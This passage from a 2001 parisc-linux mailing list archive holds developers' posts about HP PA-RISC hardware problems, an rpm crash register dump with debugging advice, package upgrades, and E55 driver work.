Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 07:29:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC6AD482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 07:29:57 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 165pQq-0003H7-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 15:29:56 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13122

Hi all,

May I now safely upgrade my palinux box with :

binutils_2.11.92.0.10-3_hppa.deb
gcc-3.0_3.0.2-3_hppa.deb
libgcc1_3.0.2-3_hppa.deb
libstdc++3_3.0.2-3_hppa.deb
g++-3.0_3.0.2-3_hppa.deb
cpp_3.0.2-10_hppa.deb
gcc_3.0.2-10_hppa.deb
libc6_2.2.4-6_hppa.deb

Thanks in advance for advises,
        Joel


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:20:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu.ml.to>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 755/125 problems
Date: Mon, 19 Nov 2001 10:43:35 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <a0510031db81ed8e4549c@[129.64.46.46]>
References: <a05100316b81d8d1c41f3@[129.64.46.46]>
 <1006107893.4898.5.camel@beavis>  <a05100318b81dbd449750@[129.64.46.46]>
 <1006147131.4898.7.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Trace: ger.gmane.org 1416620776 30242 80.91.229.3 (22 Nov 2014 01:46:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <ryan_bradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 09:10:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hermes.cs.brandeis.edu (hermes.cs.brandeis.edu [129.64.2.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CD0B482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 09:10:41 -0700 (MST)
Original-Received: from [129.64.46.46] ([129.64.46.83])
	by hermes.cs.brandeis.edu (8.11.6/8.9.3) with ESMTP id fAJGAak30112;
	Mon, 19 Nov 2001 11:10:36 -0500
X-Sender: aaronm@mail.cs.brandeis.edu (Unverified)
In-Reply-To: <1006147131.4898.7.camel@beavis>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13123

>
>>  unconfigure the ATM card and remove it from the eisa cage, but the
>>  system still seems not to see the 10baseT AUI adaptor, no lights are
>>  lit, not even the power one.
>Hm... that doesn't seem right.  Have you tried a different AUI adapter?
>sounds like faulty hardware somewhere :(
I've just tried all of the dozen or so AUI connectors that I have. No 
reaction.  Do I have to configure something int the ISL menu to get 
it to use the AUI connector instead of the ATM or the 10B2?
Aaron

-- 
_______________________________________________________
Aaron Macks(aaronm@cs.brandeis.edu)
My sheep has seven gall bladders, that makes me the King of the Universe!



From - Thu Nov 08 21:20:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] What does this one mean ?
Date: Mon, 19 Nov 2001 16:34:22 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <20011119163421.A14821@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620776 30244 80.91.229.3 (22 Nov 2014 01:46:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 09:34:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id BD51A482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 09:34:23 -0700 (MST)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id fAJGYM415541
	for parisc-linux@lists.parisc-linux.org; Mon, 19 Nov 2001 16:34:22 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13124

Can anyone give me a hint where rpm is failing ?



do_page_fault() pid=27461 command='rpm' type=6 address=0x6bc63f53
vm_start = 0x001e9000, vm_end = 0x00209000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     00000000 00110800 0007c04f bff00a08
r4-7     001b9000 00000009 002085f0 0020866c
r8-11    00002001 00200eb0 bff008d4 00206f60
r12-15   001df060 00000000 bff00504 00000102
r16-19   00000000 001f6fe8 00200eb0 001b9000
r20-23   00074834 00200f5c 6bc63f51 00000002
r24-27   bff00a08 00000009 00000009 001dd860
r28-31   001e4108 00000000 bff00ac0 0007c04f
sr0-3    000046f4 000046f4 00000000 000046f4
sr4-7    000046f4 000046f4 000046f4 000046f4

IASQ: 000046f4 000046f4 IAOQ: 6bc63f53 6bc63f57
 IIR: 43ffff80    ISR: 000046f4  IOR: 00074850
 CPU:        0   CR30: 11034000 CR31: 10350000
 ORIG_R28: 00200f40


bofh:/chr/lib# uname -a
Linux bofh 2.4.9-pa70 #1 Tue Nov 6 15:38:47 GMT 2001 parisc unknown

-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.



From - Thu Nov 08 21:20:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What does this one mean ?
Date: Mon, 19 Nov 2001 16:40:26 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20011119164026.B1835@parcelfarce.linux.theplanet.co.uk>
References: <20011119163421.A14821@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620777 30507 80.91.229.3 (22 Nov 2014 01:46:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Allen <ra@hp.is>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 09:40:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 61410482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 09:40:28 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 165rT8-0003UV-00; Mon, 19 Nov 2001 16:40:26 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011119163421.A14821@hp.is>; from ra@hp.is on Mon, Nov 19, 2001 at 04:34:22PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13125

On Mon, Nov 19, 2001 at 04:34:22PM +0000, Richard Allen wrote:
> do_page_fault() pid=27461 command='rpm' type=6 address=0x6bc63f53

looks like it branched to hyperspace.  "k\AE?S" as a string, so it's
not obviously ascii.  looks like it came from 0x0007c04f, so that might
be a good place to start tracing.

maybe rpm is broken (who would notice?  i can't imagine many people are
using rpm on hppa :-) -- tried recompiling it?

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What does this one mean ?
Date: Mon, 19 Nov 2001 09:43:37 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <m165rWD-000OrMC@bame.riverrock.org>
References: <20011119163421.A14821@hp.is>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620777 30509 80.91.229.3 (22 Nov 2014 01:46:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Allen <ra@hp.is>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 09:43:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3456482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 09:43:45 -0700 (MST)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA25432;
	Mon, 19 Nov 2001 09:43:37 -0700
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m165rWD-000OrMC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 09:43:37 -0700 (MST) 
In-Reply-To: Your message of "Mon, 19 Nov 2001 16:34:22 GMT."
             <20011119163421.A14821@hp.is> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13126

> 
> Can anyone give me a hint where rpm is failing ?

Wow that really jumped into hyperspace!  Maybe a bad function
pointer.  Generally r2 (0007c04f) is inside the calling function
and IAOQ is inside the currently-executing function, but in this
case it's bogus.  Look up r2 in rpm's symbol table to get a hint.

	-P
> 
> 
> do_page_fault() pid=27461 command='rpm' type=6 address=0x6bc63f53
> vm_start = 0x001e9000, vm_end = 0x00209000
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001111
> r0-3     00000000 00110800 0007c04f bff00a08
> r4-7     001b9000 00000009 002085f0 0020866c
> r8-11    00002001 00200eb0 bff008d4 00206f60
> r12-15   001df060 00000000 bff00504 00000102
> r16-19   00000000 001f6fe8 00200eb0 001b9000
> r20-23   00074834 00200f5c 6bc63f51 00000002
> r24-27   bff00a08 00000009 00000009 001dd860
> r28-31   001e4108 00000000 bff00ac0 0007c04f
> sr0-3    000046f4 000046f4 00000000 000046f4
> sr4-7    000046f4 000046f4 000046f4 000046f4
> 
> IASQ: 000046f4 000046f4 IAOQ: 6bc63f53 6bc63f57
>  IIR: 43ffff80    ISR: 000046f4  IOR: 00074850
>  CPU:        0   CR30: 11034000 CR31: 10350000
>  ORIG_R28: 00200f40
> 
> 
> bofh:/chr/lib# uname -a
> Linux bofh 2.4.9-pa70 #1 Tue Nov 6 15:38:47 GMT 2001 parisc unknown
> 
> -- 
> Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
>                --  Solaris 7 Certified Systems and Network Administrator.
> Bell Labs Unix --  Reach out and grep someone.
> Those who do not understand Unix are condemned to reinvent it, poorly.
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:20:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: E55 status
Date: Mon, 19 Nov 2001 09:45:32 -0700
Lines: 43
Approved: news@gmane.org
Message-ID: <200111191645.JAA18017@puffin.external.hp.com>
References: <christoph.plattner@gmx.at>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620777 30512 80.91.229.3 (22 Nov 2014 01:46:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:17 +0000 (UTC)
Cc: Thomas Marteau <marteaut@esiee.fr>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 09:50:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2356B482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 09:50:00 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA18017;
	Mon, 19 Nov 2001 09:45:32 -0700
In-Reply-To: Message from Christoph Plattner <christoph.plattner@gmx.at> 
   of "Sun, 18 Nov 2001 03:24:44 +0100." <3BF71BEC.5D032CE6@gmx.at> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13127

Christoph Plattner wrote:
> I have rewritten my whole stuff on the current CVS snapshot from the end
> of this week (2.4.14-pa6).

wow! you've been busy...let's see if we can get that into
the CVS tree this time around...last May was a bad time to
introduce that.

...
> In general, the CONFIG stuff has to be adapted. On that stuff, my
> experience is not that what other LINUX hacker's expect ...

That can be sorted out if you post to the list.

> Further, is there a developer ChangeLog file to do entries per file ?

NAFAICT. CVS log serves that purpose.


> No SCSI controller is deteced, not the parallel interface,
> and the mulitplexer board. For these three componets, drivers are
> needed, and the DOCUMENTATION !!!

The documentation still hasn't been sanitized for publication.
Are you willing to sign an NDA that lets you publish code you write?

For us, that's the easiest way...anything else requires substantially
more work for our manager. He's busy enough already and no one
else inside HP has volunteered to review/clean the docs.

> I will add my current CVS diffings of my extensions very soon, at the
> moment the CVS server seems to be down!

cvs.p-l.org was never down.  Internet routing was broken Saturday AM PST.
Seems to be fixed and working again.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253



From - Thu Nov 08 21:20:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What does this one mean ?
Date: Mon, 19 Nov 2001 16:53:20 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <20011119165320.B14821@hp.is>
References: <20011119163421.A14821@hp.is> <20011119164026.B1835@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620778 30517 80.91.229.3 (22 Nov 2014 01:46:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 09:53:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id 10E09482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 09:53:24 -0700 (MST)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id fAJGrKG15619;
	Mon, 19 Nov 2001 16:53:20 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011119164026.B1835@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Mon, Nov 19, 2001 at 04:40:26PM +0000
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13128

On Mon, Nov 19, 2001 at 04:40:26PM +0000, Matthew Wilcox wrote:

> On Mon, Nov 19, 2001 at 04:34:22PM +0000, Richard Allen wrote:
> > do_page_fault() pid=27461 command='rpm' type=6 address=0x6bc63f53
> 
> looks like it branched to hyperspace.  "k\AE?S" as a string, so it's
> not obviously ascii.  looks like it came from 0x0007c04f, so that might
> be a good place to start tracing.

Wow :)   that was fast :)
Mmmh.  it doesnt dump core so I can attempt to run it under gdb.
or ?    No gdb for parisc ?

> maybe rpm is broken (who would notice?  i can't imagine many people are
> using rpm on hppa :-) -- tried recompiling it?

I did recompile it ;)   Im working with it in a chrooted environment
and Im toying with creating a RedHat distro for parisc.  Im doing it
mainly to experience the hardships of creating a distro for a new
platform :)    Dependancies are a b**ch :-)
I've got my chrooted env to the point where I can rebuild SRPMS with
rpm but it wont install them.

chrooted# rpm --version
RPM version 4.0.3
rooted# ls -l /usr/src/redhat/RPMS/parisc/
total 116
-rw-r--r--    1 root     root        38287 Nov 19 16:27 zlib-1.1.3-24.parisc.rpm
-rw-r--r--    1 root     root        71816 Nov 19 16:27 zlib-devel-1.1.3-24.parisc.rpm

rpm still cant install outside the chrooted env. so I guess something is
wrong in rpm..


-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.



From - Thu Nov 08 21:20:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What does this one mean ?
Date: Mon, 19 Nov 2001 09:57:02 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <200111191657.JAA18078@puffin.external.hp.com>
References: <ra@hp.is>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620778 30522 80.91.229.3 (22 Nov 2014 01:46:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:18 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Richard Allen <ra@hp.is>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 10:01:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 59046482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 10:01:55 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA18078;
	Mon, 19 Nov 2001 09:57:02 -0700
In-Reply-To: Message from Richard Allen <ra@hp.is> 
   of "Mon, 19 Nov 2001 16:53:20 GMT." <20011119165320.B14821@hp.is> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13129

Richard Allen wrote:
> rpm still cant install outside the chrooted env. so I guess something is
> wrong in rpm..

Well, that might the clue.
Are you picking up all the binutils/glibc patches that have been
introduced recently?

I'm inclined to think its a mismatch between library versions
or something like that unless you grabbed the sources from the
debian archives.

grant



From - Thu Nov 08 21:20:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What does this one mean ?
Date: Mon, 19 Nov 2001 10:05:32 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <m165rrQ-000OrMC@bame.riverrock.org>
References: <20011119163421.A14821@hp.is> <20011119164026.B1835@parcelfarce.linux.theplanet.co.uk>  <20011119165320.B14821@hp.is>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620778 30525 80.91.229.3 (22 Nov 2014 01:46:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Allen <ra@hp.is>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 19 10:05:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64065482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 10:05:36 -0700 (MST)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA26382;
	Mon, 19 Nov 2001 10:05:32 -0700
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m165rrQ-000OrMC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@lists.parisc-linux.org>; Mon, 19 Nov 2001 10:05:32 -0700 (MST) 
In-Reply-To: Your message of "Mon, 19 Nov 2001 16:53:20 GMT."
             <20011119165320.B14821@hp.is> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
